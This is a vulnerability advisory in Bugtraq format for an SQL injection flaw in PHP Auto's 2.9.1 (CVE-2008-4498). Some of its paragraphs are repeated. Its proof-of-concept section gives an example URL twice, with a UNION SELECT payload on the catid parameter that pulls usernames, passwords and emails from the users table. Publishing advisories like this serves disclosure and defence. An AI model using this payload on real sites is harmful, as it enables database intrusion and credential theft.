PHP Auto's 'searchresults.php' SQL Injection Vulnerability
BID:31622
Info
PHP Auto's 'searchresults.php' SQL Injection Vulnerability
| Bugtraq ID: | 31622 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4498 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 07 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | Mr.SQL |
| Vulnerable: |
PHP Auto's PHP Auto's 2.9.1 |
| Not Vulnerable: |
PHP Auto's PHP Auto's 2.9.3 |
Discussion
PHP Auto's 'searchresults.php' SQL Injection Vulnerability
PHP Auto's is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Auto's 2.9.1 is vulnerable; other versions may also be affected.
PHP Auto's is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Auto's 2.9.1 is vulnerable; other versions may also be affected.
Exploit / POC
PHP Auto's 'searchresults.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/searchresults.php?catid=-1'/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,username,password,email)MrSQL,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+tblusers/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/searchresults.php?catid=-1'/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,username,password,email)MrSQL,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+tblusers/*
Solution / Fix
PHP Auto's 'searchresults.php' SQL Injection Vulnerability
Solution:
A vendor update is available. Contact the vendor for details on obtaining the appropriate updates.
Solution:
A vendor update is available. Contact the vendor for details on obtaining the appropriate updates.
References
PHP Auto's 'searchresults.php' SQL Injection Vulnerability
References:
References:
- PHP Auto's Homepage (PHP Auto's)